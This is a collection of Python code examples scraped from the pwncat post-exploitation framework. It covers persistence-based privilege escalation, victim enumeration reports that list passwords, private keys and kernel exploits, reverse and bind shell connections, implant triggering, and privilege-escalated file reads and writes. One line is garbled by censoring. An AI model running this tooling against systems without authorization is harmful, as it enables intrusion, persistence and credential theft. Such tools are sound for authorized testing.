                except PersistenceError:
                    # This one failed :( try another
                    continue

                try:
                    # Install succeeded, attempt to escalate
                    progress.update(
                        task_id, status=f"[yellow]{method.name}[/yellow] installed"
                    )
                    method.escalate(user)
                    pwncat.victim.reset(hard=False)
                    progress.update(
                        task_id,
                        status=f"[yellow]{method.name}[/yellow] succeeded!",
                        completed=len(methods),
                    )
                    progress.log(
                        f"[yellow]{method.name}[/yellow] succeeded; mismatch [green]fixed[/green]!"
                    )
                    progress.update(task_id, visible=False)
                    break
                except PersistenceError:
                    # Escalation failed, remove persistence :(
                    pwncat.victim.persist.remove(method.name, user)
Exemple #24
0
    def generate_report(self, report_path: str):
        """ Generate a markdown report of enumeration data for the remote host. This
        report is generated from all facts which pwncat is capable of enumerating.
        It does not need nor honor the type or provider options. """

        # Dictionary mapping type names to facts. Each type name is mapped
        # to a dictionary which maps sources to a list of facts. This makes
        # organizing the output report easier.
        report_data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {}
        system_details = []

        try:
            # Grab hostname
            hostname = pwncat.victim.enumerate.first("system.hostname").data
            system_details.append(["Hostname", util.escape_markdown(hostname)])
        except ValueError:
            hostname = "[unknown-hostname]"

        # Not provided by enumerate, but natively known due to our connection
        system_details.append(
            ["Primary Address",
             util.escape_markdown(pwncat.victim.host.ip)])
        system_details.append(
            ["Derived Hash",
             util.escape_markdown(pwncat.victim.host.hash)])

        try:
            # Grab distribution
            distro = pwncat.victim.enumerate.first("system.distro").data
            system_details.append([
                "Distribution",
                util.escape_markdown(
                    f"{distro.name} ({distro.ident}) {distro.version}"),
            ])
        except ValueError:
            pass

        try:
            # Grab the architecture
            arch = pwncat.victim.enumerate.first("system.arch").data
            system_details.append(
                ["Architecture",
                 util.escape_markdown(arch.arch)])
        except ValueError:
            pass

        try:
            # Grab kernel version
            kernel = pwncat.victim.enumerate.first(
                "system.kernel.version").data
            system_details.append([
                "Kernel",
                util.escape_markdown(
                    f"Linux Kernel {kernel.major}.{kernel.minor}.{kernel.patch}-{kernel.abi}"
                ),
            ])
        except ValueError:
            pass

        try:
            # Grab SELinux State
            selinux = pwncat.victim.enumerate.first("system.selinux").data
            system_details.append(
                ["SELinux", util.escape_markdown(selinux.state)])
        except ValueError:
            pass

        try:
            # Grab ASLR State
            aslr = pwncat.victim.enumerate.first("system.aslr").data
            system_details.append(
                ["ASLR", "disabled" if aslr.state == 0 else "enabled"])
        except ValueError:
            pass

        try:
            # Grab init system
            init = pwncat.victim.enumerate.first("system.init").data
            system_details.append(
                ["Init", util.escape_markdown(str(init.init))])
        except ValueError:
            pass

        try:
            # Check if we are in a container
            container = pwncat.victim.enumerate.first("system.container").data
            system_details.append(
                ["Container",
                 util.escape_markdown(container.type)])
        except ValueError:
            pass

        # Build the table writer for the main section
        table_writer = MarkdownTableWriter()
        table_writer.headers = ["Property", "Value"]
        table_writer.column_styles = [
            pytablewriter.style.Style(align="right"),
            pytablewriter.style.Style(align="center"),
        ]
        table_writer.value_matrix = system_details
        table_writer.margin = 1

        # Note enumeration data we don't need anymore. These are handled above
        # in the system_details table which is output with the table_writer.
        ignore_types = [
            "system.hostname",
            "system.kernel.version",
            "system.distro",
            "system.init",
            "system.arch",
            "system.aslr",
            "system.container",
        ]

        # This is the list of known enumeration types that we want to
        # happen first in this order. Other types will still be output
        # but will be output in an arbitrary order following this list
        ordered_types = [
            # Sudo privileges
            "sudo",
            # Possible kernel exploits - very important
            "system.kernel.exploit",
            # Enumerated user passwords - very important
            "system.user.password",
            # Enumerated possible user private keys - very important
            "system.user.private_key",
            # Directories in our path that are writable
            "writable_path",
        ]

        # These types are very noisy. They are important for full enumeration,
        # but are better suited for the end of the list. These are output last
        # no matter what in this order.
        noisy_types = [
            # System services. There's normally a lot of these
            "system.service",
            # Installed packages. There's *always* a lot of these
            "system.package",
        ]

        with Progress(
                "enumerating report data",
                "•",
                "[cyan]{task.fields[status]}",
                transient=True,
                console=console,
        ) as progress:
            task = progress.add_task("", status="initializing")
            for fact in pwncat.victim.enumerate():
                progress.update(task, status=str(fact.data))
                if fact.type in ignore_types:
                    continue
                if fact.type not in report_data:
                    report_data[fact.type] = {}
                if fact.source not in report_data[fact.type]:
                    report_data[fact.type][fact.source] = []
                report_data[fact.type][fact.source].append(fact)

        try:
            with open(report_path, "w") as filp:
                filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n")

                # Write the system info table
                table_writer.dump(filp, close_after_write=False)
                filp.write("\n")

                # output ordered types first
                for typ in ordered_types:
                    if typ not in report_data:
                        continue
                    self.render_section(filp, typ, report_data[typ])

                # output everything that's not a ordered or noisy type
                for typ, sources in report_data.items():
                    if typ in ordered_types or typ in noisy_types:
                        continue
                    self.render_section(filp, typ, sources)

                # Output the noisy types
                for typ in noisy_types:
                    if typ not in report_data:
                        continue
                    self.render_section(filp, typ, report_data[typ])

            console.log(
                f"enumeration report written to [cyan]{report_path}[/cyan]")
        except OSError as exc:
            console.log(f"[red]error[/red]: [cyan]{report_path}[/cyan]: {exc}")
Exemple #25
0
    def run(self, manager: "pwncat.manager.Manager", args):

        module_name = args.module

        if args.module is None and manager.config.module is None:
            console.log("[red]error[/red]: no module specified")
            return
        elif args.module is None:
            module_name = manager.config.module.name

        # Parse key=value pairs
        values = {}
        for arg in args.args:
            if "=" not in arg:
                values[arg] = True
            else:
                name, value = arg.split("=")
                values[name] = value

        # pwncat.config.locals.update(values)
        config_values = manager.config.locals.copy()
        config_values.update(values)

        try:
            result = manager.target.run(module_name, **config_values)

            if args.module is not None:
                manager.config.back()
        except pwncat.modules.ModuleFailed as exc:
            if args.traceback:
                console.print_exception()
            else:
                console.log(f"[red]error[/red]: module failed: {exc}")
            return
        except pwncat.modules.ModuleNotFound:
            console.log(f"[red]error[/red]: {module_name}: not found")
            return
        except pwncat.modules.ArgumentFormatError as exc:
            console.log(f"[red]error[/red]: {exc}: invalid argument")
            return
        except pwncat.modules.MissingArgument as exc:
            console.log(f"[red]error[/red]: missing argument: {exc}")
            return
        except pwncat.modules.InvalidArgument as exc:
            console.log(f"[red]error[/red]: invalid argument: {exc}")
            return

        if isinstance(result, list):
            result = [r for r in result if not r.hidden]
        elif result.hidden:
            result = None

        if args.raw:
            console.print(result)
        else:

            if result is None or (isinstance(result, list) and not result):
                console.log(
                    f"Module [bold]{module_name}[/bold] completed successfully"
                )
                return

            if not isinstance(result, list):
                result = [result]
            self.display_item(manager, title=module_name, results=result)
Exemple #26
0
    def run(self, args):

        protocol = None
        user = None
        password = None
        host = None
        port = None
        try_reconnect = False

        if not args.config and os.path.exists("./pwncatrc"):
            args.config = "./pwncatrc"
        elif not args.config and os.path.exists("./data/pwncatrc"):
            args.config = "./data/pwncatrc"

        if args.config:
            try:
                # Load the configuration
                with open(args.config, "r") as filp:
                    pwncat.victim.command_parser.eval(filp.read(), args.config)
            except OSError as exc:
                console.log(f"[red]error[/red]: {exc}")
                return

        if args.list:
            # Grab a list of installed persistence methods for all hosts
            # persist.gather will retrieve entries for all hosts if no
            # host is currently connected.
            modules = list(pwncat.modules.run("persist.gather"))
            # Create a mapping of host hash to host object and array of
            # persistence methods
            hosts = {
                host.hash: (host, [])
                for host in pwncat.victim.session.query(pwncat.db.Host).all()
            }

            for module in modules:
                hosts[module.persist.host.hash][1].append(module)

            for host_hash, (host, modules) in hosts.items():
                console.print(f"[magenta]{host.ip}[/magenta] - "
                              f"[red]{host.distro}[/red] - "
                              f"[yellow]{host_hash}[/yellow]")
                for module in modules:
                    console.print(f"  - {str(module)}")

            return

        if args.connection_string:
            m = self.CONNECTION_PATTERN.match(args.connection_string)
            protocol = m.group("protocol")
            user = m.group("user")
            password = m.group("password")
            host = m.group("host")
            port = m.group("port")

        if protocol is not None and args.listen:
            console.log(
                f"[red]error[/red]: --listen is not compatible with an explicit connection string"
            )
            return

        if (sum([
                port is not None, args.port is not None, args.pos_port
                is not None
        ]) > 1):
            console.log(f"[red]error[/red]: multiple ports specified")
            return

        if args.port is not None:
            port = args.port
        if args.pos_port is not None:
            port = args.pos_port

        if port is not None:
            try:
                port = int(port.lstrip(":"))
            except:
                console.log(f"[red]error[/red]: {port}: invalid port number")
                return

        # Attempt to assume a protocol based on context
        if protocol is None:
            if args.listen:
                protocol = "bind://"
            elif args.port is not None:
                protocol = "connect://"
            elif user is not None:
                protocol = "ssh://"
                try_reconnect = True
            elif host == "" or host == "0.0.0.0":
                protocol = "bind://"
            elif args.connection_string is None:
                self.parser.print_help()
                return
            else:
                protocol = "connect://"
                try_reconnect = True

        if protocol != "ssh://" and args.identity is not None:
            console.log(
                f"[red]error[/red]: --identity is only valid for ssh protocols"
            )
            return

        if pwncat.victim.client is not None:
            console.log("connection [red]already active[/red]")
            return

        if protocol == "reconnect://" or try_reconnect:
            level = "[yellow]warning[/yellow]" if try_reconnect else "[red]error[/red]"

            try:
                addr = ipaddress.ip_address(socket.gethostbyname(host))
                row = (pwncat.victim.session.query(
                    pwncat.db.Host).filter_by(ip=str(addr)).first())
                if row is None:
                    console.log(f"{level}: {str(addr)}: not found in database")
                    host_hash = None
                else:
                    host_hash = row.hash
            except ValueError:
                host_hash = host

            # Reconnect to the given host
            if host_hash is not None:
                try:
                    pwncat.victim.reconnect(host_hash, password, user)
                    return
                except Exception as exc:
                    console.log(f"{level}: {host}: {exc}")

        if protocol == "reconnect://" and not try_reconnect:
            # This means reconnection failed, and we had an explicit
            # reconnect protocol
            return

        if protocol == "bind://":
            if not host or host == "":
                host = "0.0.0.0"

            if port is None:
                console.log(f"[red]error[/red]: no port specified")
                return

            with Progress(
                    f"bound to [blue]{host}[/blue]:[cyan]{port}[/cyan]",
                    BarColumn(bar_width=None),
                    transient=True,
            ) as progress:
                task_id = progress.add_task("listening", total=1, start=False)
                # Create the socket server
                server = socket.create_server((host, port), reuse_port=True)

                try:
                    # Wait for a connection
                    (client, address) = server.accept()
                except KeyboardInterrupt:
                    progress.update(task_id, visible=False)
                    progress.log("[red]aborting[/red] listener")
                    return

                progress.update(task_id, visible=False)
                progress.log(
                    f"[green]received[/green] connection from [blue]{address[0]}[/blue]:[cyan]{address[1]}[/cyan]"
                )

            pwncat.victim.connect(client)
        elif protocol == "connect://":
            if not host:
                console.log("[red]error[/red]: no host address provided")
                return

            if port is None:
                console.log(f"[red]error[/red]: no port specified")
                return

            with Progress(
                    f"connecting to [blue]{host}[/blue]:[cyan]{port}[/cyan]",
                    BarColumn(bar_width=None),
                    transient=True,
            ) as progress:
                task_id = progress.add_task("connecting", total=1, start=False)
                # Connect to the remote host
                client = socket.create_connection((host, port))

                progress.update(task_id, visible=False)
                progress.log(
                    f"connection to "
                    f"[blue]{host}[/blue]:[cyan]{port}[/cyan] [green]established[/green]"
                )

            pwncat.victim.connect(client)
        elif protocol == "ssh://":

            if port is None:
                port = 22

            if not user or user is None:
                self.parser.error("you must specify a user")

            if not (password or args.identity):
                password = prompt("Password: "******"[red]error[/red]: {str(exc)}")
                return

            # Create a paramiko SSH transport layer around the socket
            t = paramiko.Transport(sock)
            try:
                t.start_client()
            except paramiko.SSHException:
                sock.close()
                console.log("[red]error[/red]: ssh negotiation failed")
                return

            if args.identity:
                try:
                    # Load the private key for the user
                    key = paramiko.RSAKey.from_private_key_file(args.identity)
                except:
                    password = prompt("RSA Private Key Passphrase: ",
                                      is_password=True)
                    key = paramiko.RSAKey.from_private_key_file(
                        args.identity, password)

                # Attempt authentication
                try:
                    t.auth_publickey(user, key)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    console.log(
                        f"[red]error[/red]: authentication failed: {exc}")
            else:
                try:
                    t.auth_password(user, password)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    console.log(
                        f"[red]error[/red]: authentication failed: {exc}")

            if not t.is_authenticated():
                t.close()
                sock.close()
                return

            # Open an interactive session
            chan = t.open_session()
            chan.get_pty()
            chan.invoke_shell()

            # Initialize the session!
            pwncat.victim.connect(chan)

            if user in pwncat.victim.users and password is not None:
                console.log(f"storing user password")
                pwncat.victim.users[user].password = password
            else:
                console.log("user not found in database; not storing password")

        else:
            console.log(f"[red]error[/red]: {args.action}: invalid action")
Exemple #27
0
def main():

    params = inspect.signature(BufferedPipe.read).parameters

    if "flags" not in params:
        console.log(
            f"[red]error[/red]: pwncat requires a custom fork of paramiko. This can be installed with `pip install -U git+https://github.com/calebstewart/paramiko`"
        )
        sys.exit(1)

    # Ignore SQL Alchemy warnings
    with warnings.catch_warnings():
        warnings.simplefilter("ignore", category=sa_exc.SAWarning)

        # Default log-level is "INFO"
        logging.getLogger().setLevel(logging.INFO)

        # Build the victim object
        pwncat.victim = Victim()

        # Find the user configuration
        config_path = (Path(os.environ.get("XDG_CONFIG_HOME", "~/.config/")) /
                       "pwncat" / "pwncatrc")
        config_path = config_path.expanduser()

        try:
            # Read the config script
            with config_path.open("r") as filp:
                script = filp.read()

            # Run the script
            pwncat.victim.command_parser.eval(script, str(config_path))
        except (FileNotFoundError, PermissionError):
            # The config doesn't exist
            pass

        # Arguments to `pwncat` are considered arguments to `connect`
        # We use the `prog_name` argument to make the help for "connect"
        # display "pwncat" in the usage. This is just a visual fix, and
        # isn't used anywhere else.
        pwncat.victim.command_parser.dispatch_line(shlex.join(["connect"] +
                                                              sys.argv[1:]),
                                                   prog_name="pwncat")

        # Only continue if we successfully connected
        if not pwncat.victim.connected:
            sys.exit(0)

        # Make stdin unbuffered. Without doing this, some key sequences
        # which are multi-byte don't get sent properly (e.g. up and left
        # arrow keys)
        sys.stdin = TextIOWrapper(
            os.fdopen(sys.stdin.fileno(), "br", buffering=0),
            write_through=True,
            line_buffering=False,
        )

        # Setup the selector to wait for data asynchronously from both streams
        selector = selectors.DefaultSelector()
        selector.register(sys.stdin, selectors.EVENT_READ, None)
        selector.register(pwncat.victim.client, selectors.EVENT_READ, "read")

        # Initialize our state
        done = False

        try:
            # This loop is only used to funnel data between the local
            # and remote hosts when in raw mode. During the `pwncat`
            # prompt, the main loop is handled by the CommandParser
            # class `run` method.
            while not done:
                for k, _ in selector.select():
                    if k.fileobj is sys.stdin:
                        data = sys.stdin.buffer.read(64)
                        pwncat.victim.process_input(data)
                    else:
                        data = pwncat.victim.recv()
                        if data is None or len(data) == 0:
                            done = True
                            break
                        sys.stdout.buffer.write(data)
                        sys.stdout.flush()
        except ConnectionResetError:
            pwncat.victim.restore_local_term()
            console.log(
                "[yellow]warning[/yellow]: connection reset by remote host")
        except SystemExit:
            console.log("closing connection")
        finally:
            # Restore the shell
            pwncat.victim.restore_local_term()
            try:
                # Make sure everything was committed
                pwncat.victim.session.commit()
            except InvalidRequestError:
                pass
Exemple #28
0
    def run(self, args):

        if args.action == "list":
            techniques = pwncat.victim.privesc.search(args.user, exclude=args.exclude)
            if len(techniques) == 0:
                console.log("no techniques found")
            else:
                for tech in techniques:
                    color = "green" if tech.user == "root" else "green"
                    console.print(
                        f" - [magenta]{tech.get_cap_name()}[/magenta] "
                        f"as [{color}]{tech.user}[/{color}] "
                        f"via {tech.method.get_name(tech)}"
                    )
        elif args.action == "read":
            if not args.path:
                self.parser.error("missing required argument: --path")
            try:
                read_pipe, chain, technique = pwncat.victim.privesc.read_file(
                    args.path, args.user, args.max_depth
                )
                console.log(f"file [green]opened[/green] with {technique}")

                # Read the data from the pipe
                shutil.copyfileobj(read_pipe, sys.stdout.buffer)
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                pwncat.victim.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                console.log(f"file write [red]failed[/red]")
        elif args.action == "write":
            # Make sure the correct arguments are present
            if not args.path:
                self.parser.error("missing required argument: --path")
            if not args.data:
                self.parser.error("missing required argument: --data")

            # Read in the data file
            try:
                with open(args.data, "rb") as f:
                    data = f.read()
            except (PermissionError, FileNotFoundError):
                console.log(f"{args.data}: no such file or directory")

            try:
                # Attempt to write the data to the remote file
                chain = pwncat.victim.privesc.write_file(
                    args.path, data, target_user=args.user, depth=args.max_depth,
                )
                pwncat.victim.privesc.unwrap(chain)
                console.log("file write [green]succeeded[/green]")
            except privesc.PrivescError as exc:
                console.log(f"file write [red]failed[/red]: {exc}")
        elif args.action == "escalate":
            try:
                chain = pwncat.victim.privesc.escalate(
                    args.user, depth=args.max_depth, exclude=args.exclude
                )

                console.log("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"[yellow]\u2ba1[/yellow] "
                    console.log(f"{(i+1)*' '}{arrow}{technique}")

                ident = pwncat.victim.id
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    pwncat.victim.command_parser.dispatch_line("euid_fix")

                pwncat.victim.reset()
                pwncat.victim.state = State.RAW
            except privesc.PrivescError as exc:
                console.log(f"privilege escalation [red]failed[/red]: {exc}")
Exemple #29
0
def main():

    # Default log-level is "INFO"
    logging.getLogger().setLevel(logging.INFO)

    parser = argparse.ArgumentParser(
        description=
        """Start interactive pwncat session and optionally connect to existing victim via a known platform and channel type. This entrypoint can also be used to list known implants on previous targets."""
    )
    parser.add_argument("--version",
                        "-v",
                        action="store_true",
                        help="Show version number and exit")
    parser.add_argument(
        "--download-plugins",
        action="store_true",
        help="Pre-download all Windows builtin plugins and exit immediately",
    )
    parser.add_argument(
        "--config",
        "-c",
        type=argparse.FileType("r"),
        default=None,
        help="Custom configuration file (default: ./pwncatrc)",
    )
    parser.add_argument(
        "--identity",
        "-i",
        type=argparse.FileType("r"),
        default=None,
        help="Private key for SSH authentication",
    )
    parser.add_argument(
        "--listen",
        "-l",
        action="store_true",
        help="Enable the `bind` protocol (supports netcat-style syntax)",
    )
    parser.add_argument(
        "--platform",
        "-m",
        help="Name of the platform to use (default: linux)",
        default="linux",
    )
    parser.add_argument(
        "--port",
        "-p",
        help="Alternative way to specify port to support netcat-style syntax",
    )
    parser.add_argument(
        "--list",
        action="store_true",
        help="List installed implants with remote connection capability",
    )
    parser.add_argument(
        "connection_string",
        metavar="[protocol://][user[:password]@][host][:port]",
        help="Connection string describing victim",
        nargs="?",
    )
    parser.add_argument(
        "pos_port",
        nargs="?",
        metavar="port",
        help="Alternative port number to support netcat-style syntax",
    )
    args = parser.parse_args()

    # Print the version number and exit.
    if args.version:
        print(importlib.metadata.version("pwncat"))
        return

    # Create the session manager
    with pwncat.manager.Manager(args.config) as manager:

        if args.download_plugins:
            for plugin_info in pwncat.platform.Windows.PLUGIN_INFO:
                with pwncat.platform.Windows.open_plugin(
                        manager, plugin_info.provides[0]):
                    pass

            return

        if args.list:

            db = manager.db.open()
            implants = []

            table = Table(
                "ID",
                "Address",
                "Platform",
                "Implant",
                "User",
                box=box.MINIMAL_DOUBLE_HEAD,
            )

            # Locate all installed implants
            for target in db.root.targets:

                # Collect users
                users = {}
                for fact in target.facts:
                    if "user" in fact.types:
                        users[fact.id] = fact

                # Collect implants
                for fact in target.facts:
                    if "implant.remote" in fact.types:
                        table.add_row(
                            target.guid,
                            target.public_address[0],
                            target.platform,
                            fact.source,
                            users[fact.uid].name,
                        )

            if not table.rows:
                console.log("[red]error[/red]: no remote implants found")
            else:
                console.print(table)

            return

        console.log("Welcome to [red]pwncat[/red] 🐈!")

        if (args.connection_string is not None or args.pos_port is not None
                or args.port is not None or args.listen
                or args.identity is not None):
            protocol = None
            user = None
            password = None
            host = None
            port = None

            if args.connection_string:
                m = connect.Command.CONNECTION_PATTERN.match(
                    args.connection_string)
                protocol = m.group("protocol")
                user = m.group("user")
                password = m.group("password")
                host = m.group("host")
                port = m.group("port")

            if protocol is not None:
                protocol = protocol.removesuffix("://")

            if host is not None and host == "":
                host = None

            if protocol is not None and args.listen:
                console.log(
                    "[red]error[/red]: --listen is not compatible with an explicit connection string"
                )
                return

            if (sum([
                    port is not None,
                    args.port is not None,
                    args.pos_port is not None,
            ]) > 1):
                console.log("[red]error[/red]: multiple ports specified")
                return

            if args.port is not None:
                port = args.port
            if args.pos_port is not None:
                port = args.pos_port

            if port is not None:
                try:
                    port = int(port.lstrip(":"))
                except ValueError:
                    console.log(
                        f"[red]error[/red]: {port}: invalid port number")
                    return

            # Attempt to reconnect via installed implants
            if (protocol is None and password is None and port is None
                    and args.identity is None):
                db = manager.db.open()
                implants = []

                # Locate all installed implants
                for target in db.root.targets:

                    if target.guid != host and target.public_address[0] != host:
                        continue

                    # Collect users
                    users = {}
                    for fact in target.facts:
                        if "user" in fact.types:
                            users[fact.id] = fact

                    # Collect implants
                    for fact in target.facts:
                        if "implant.remote" in fact.types:
                            implants.append((target, users[fact.uid], fact))

                with Progress(
                        "triggering implant",
                        "•",
                        "{task.fields[status]}",
                        transient=True,
                        console=console,
                ) as progress:
                    task = progress.add_task("", status="...")
                    for target, implant_user, implant in implants:
                        # Check correct user
                        if user is not None and implant_user.name != user:
                            continue
                        # Check correct platform
                        if (args.platform is not None
                                and target.platform != args.platform):
                            continue

                        progress.update(
                            task,
                            status=f"trying [cyan]{implant.source}[/cyan]")

                        # Attempt to trigger a new session
                        try:
                            session = implant.trigger(manager, target)
                            manager.target = session
                            used_implant = implant
                            break
                        except ModuleFailed:
                            db.transaction_manager.commit()
                            continue

            if manager.target is not None:
                manager.target.log(
                    f"connected via {used_implant.title(manager.target)}")
            else:
                try:
                    manager.create_session(
                        platform=args.platform,
                        protocol=protocol,
                        user=user,
                        password=password,
                        host=host,
                        port=port,
                        identity=args.identity,
                    )
                except (ChannelError, PlatformError) as exc:
                    manager.log(f"connection failed: {exc}")

        manager.interactive()

        if manager.sessions:
            with Progress(
                    SpinnerColumn(),
                    "closing sessions",
                    "•",
                    "{task.fields[status]}",
                    console=console,
                    transient=True,
            ) as progress:
                task = progress.add_task("task", status="...")

                # Retrieve the existing session IDs list
                session_ids = list(manager.sessions.keys())

                # Close each session based on its ``session_id``
                for session_id in session_ids:
                    progress.update(task,
                                    status=str(
                                        manager.sessions[session_id].platform))
                    manager.sessions[session_id].close()

                progress.update(task, status="done!", completed=100)
Exemple #30
0
    def dispatch_line(self, line: str, prog_name: str = None):
        """ Parse the given line of command input and dispatch a command """

        # Account for blank or whitespace only lines
        line = line.strip()
        if line == "":
            return

        try:
            # Spit the line with shell rules
            argv = shlex.split(line)
        except ValueError as e:
            console.log(f"[red]error[/red]: {e.args[0]}")
            return

        if argv[0][0] in self.shortcuts:
            command = self.shortcuts[argv[0][0]]
            argv[0] = argv[0][1:]
            args = argv
            line = line[1:]
        else:
            line = f"{argv[0]} ".join(line.split(f"{argv[0]} ")[1:])
            # Search for a matching command
            for command in self.commands:
                if command.PROG == argv[0]:
                    break
            else:
                if argv[0] in self.aliases:
                    command = self.aliases[argv[0]]
                else:
                    console.log(
                        f"[red]error[/red]: {argv[0]}: unknown command")
                    return

            if not self.loading_complete and not command.LOCAL:
                console.log(
                    f"[red]error[/red]: {argv[0]}: non-local command use before connection"
                )
                return

            args = argv[1:]

        args = [a.encode("utf-8").decode("unicode_escape") for a in args]

        try:
            if prog_name:
                temp_name = command.parser.prog
                command.parser.prog = prog_name
                prog_name = temp_name

            # Parse the arguments
            if command.parser:
                args = command.parser.parse_args(args)
            else:
                args = line

            # Run the command
            command.run(args)

            if prog_name:
                command.parser.prog = prog_name

        except SystemExit:
            # The arguments were incorrect
            return